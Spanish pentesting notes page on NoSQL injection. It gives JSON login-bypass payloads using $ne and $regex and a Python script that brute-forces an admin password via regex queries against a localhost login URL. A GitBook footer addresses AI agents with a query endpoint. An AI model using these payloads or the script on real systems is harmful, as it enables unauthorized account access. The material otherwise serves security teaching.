> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md).

# Inyección NoSQL

<figure><img src="/files/8d2a91a748d0b0a2951f98f9d28c76079b22ab95" alt="" width="563"><figcaption></figcaption></figure>

## Inyección NoSQL manual con Burp Suite

Intercepta la solicitud de inicio de sesión con Burp Suite:

<figure><img src="/files/467fe65541687d5b3431ed3d0f6ee79e133a73fc" alt=""><figcaption></figcaption></figure>

Podemos enviar una consulta en este formato cuando sabemos que el nombre de usuario es **admin**, pero la **contraseña no se conoce** y no es `admin`:

```json
{
  "username": "admin",
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/c9d0cdbb793808b49350289b8e9fa8e38ee5fea7" alt=""><figcaption></figcaption></figure>

Podemos enviar una consulta en este formato cuando no conocemos ni el **username** ni la **contraseña**:

```json
{
  "username": {
    "$ne": "ThisUserDoesNotExist"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/08e6b13f87c744a43c23c5ad84ad202292343a26" alt=""><figcaption></figcaption></figure>

Podemos enviar una consulta con esta **regex** cuando sabemos cómo empieza el nombre de usuario **empieza**; en este caso, con la letra `un`:

```json
{
  "username": {
    "$regex": "^a"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/e332e36481761f9f8d1d649f44ea801ff12d73f5" alt=""><figcaption></figcaption></figure>

## Script de Python:

El siguiente script de Python automatiza el proceso y está diseñado para encontrar la contraseña cuando se conoce el nombre de usuario. *Personaliza el nombre de usuario y la URL de destino para cada situación*:

<figure><img src="/files/859f8384a629174d2a8902a778c84c3021a873b9" alt=""><figcaption></figcaption></figure>

```python
#!/usr/bin/python3
from pwn import *
import requests, time, sys, signal, string
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)
# Inyección NoSQL
signal.signal(signal.SIGINT, def_handler)
# Inyección NoSQL
login_url = "http://localhost:4000/user/login"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def makeNoSQLI():
    password = ""
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando el proceso de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Contraseña")
    for position in range(0, 100):
        for character in characters:
            post_data = '{"username":"admin","password":{"$regex":"^%s%s"}}' % (password, character)
            p1.status(post_data)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(login_url, headers=headers, data=post_data)
            if "Conectado como usuario" in r.text:
                password += character
                p2.status(password)
                break
if __name__ == '__main__':
    makeNoSQLI()

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
